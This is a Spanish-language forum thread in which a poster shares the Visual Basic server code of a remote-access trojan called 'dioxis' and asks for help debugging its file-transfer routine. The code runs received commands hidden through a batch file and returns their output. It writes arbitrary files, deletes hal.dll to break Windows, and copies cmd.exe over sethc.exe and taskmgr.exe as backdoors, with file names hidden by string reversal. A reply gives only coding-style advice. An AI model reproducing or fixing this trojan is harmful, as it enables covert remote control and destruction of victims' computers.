Bueno, como ya veran, estoy en el proyecto de sacar otra version del troyano dioxis, pero aqui es donde se me dan los quebraderos de cabeza
Este es todo el dataarrival del servidor:
Public Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sistremaa As String, compr As Integer, ruta As String, textos As String, inii As String
Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long
Dim casaa As String
Dim arrData() As Byte
Dim encontrado2 As Integer, encontrado As Integer
Dim busca As Integer
Dim envivi As String, tati As Variant
On Error GoTo Error
'--------------------------------------------------------------------------'
casaa = Environ$("homedrive")
sistremaa = Environ$("windir") & "\system32"
letraa = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
inii = casaa & "\ctfmon.bat"
'--------------------------------variables---------------------------------'
wsk.GetData orden
MsgBox orden
' enviar archivos----------------------------------------------------------
For busca = 0 To Len(orden)
encontrado = InStr(1, orden, "*Enviviandodo*")
Next
If encontrado <> 0 Then
If Flag = True Then
Flag = False
lBytes = 0
tati = Split(envivi, "|")
lFileSize = tati(1)
wsk.SendData "|enviamelo|"
Open tati(3) & tati(2) For Binary Access Write As #1
End If
If Flag = False Then
MsgBox "poniendo todo los datos"
lBytes = lBytes + bytesTotal
wsk.GetData arrData
MsgBox arrData
Put #1, , arrData
If lBytes >= lFileSize Then
Close #1
Flag = True
lBytes = 0
End If
End If
Else
' enviar archivos----------------------------------------------------------
For compr = 0 To Len(orden)
encontrado2 = InStr(1, orden, "/*/116%4")
Next
If encontrado2 <> 0 Then
arris = Split(orden, "66+/*-&·%")
ruta = arris(1)
textos = arris(2)
Open ruta For Output As #2
Print #2, textos
Close #2
End If
'------------------ordenes personalizadas----------------------------------'
If orden = "del " & sistremaa & "\hal.dll" Then Kill sistremaa & StrReverse("lld.lah\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\sethc.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.chtes\")
If orden = "copy /y " & sistremaa & "\cmd.exe" & " " & sistremaa & "\taskmgr.exe" Then FileCopy sistremaa & StrReverse("exe.dmc\\"), sistremaa & StrReverse("exe.rgmksat\")
If orden = "eliminar troyano" Then
Kill letraa & StrReverse("exe.dmcyekh\")
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'
salida:
Open inii For Output As #1
Print #1, orden & ">" & casaa & "\ctfmon.txt"
Close #1
id_process = Shell(inii, vbHide)
handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)
Do
Call GetExitCodeProcess(handle_Process, lp_ExitCode)
DoEvents
Loop While lp_ExitCode = STATUS_PENDING
Call CloseHandle(handle_Process)
Open casaa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1
wsk.SendData txtcom
Error:
End If
End Sub
El data arrival lo que tiene que hacer es recibir 2 acciones, una es para que el cliente le pase archivos y otra para mandarle ordenes
La cosa es que ahora mismo no me funciona ninguno por ahora
El problema creo que reside en las variables del datarrival
si necesitais algun dato mas os lo facilito
gracias
Aww, no se mano, pero veo que estas declarando muchas variables dentro del evento de llegada de datos y mas un estas llamando a APIS y no se que mas, no es que este mal, pero podrias ser un poco mas ordenado y asi no atarear tanto al evento, podrias separarlo en modulos, respecto a la transferencia de archivos hay un monton de code orbitando por este foro... es cuestion de buscar
Un saludo y ordena mejor ese codigo.
ordenado esta, ya que no puse lo demas del codigo, aun asi yo no me lio
el problema que tengo es que coji un code de recursos vb, que funciona por interruptor
primero el cliente manda los datos del archivo: nombre,ruta,espacio y su firma
luego si el servidor encuentra esa firma pasa al interruptor true, si es true manda el cliente que le pase los datos y abre el archivo para crear, luego pone el interruptor en false y si esta en false escribe todo
lo raro es que a la primera vez que lo hago me funciona pero si lo hagos dos veces no
es demasiado raro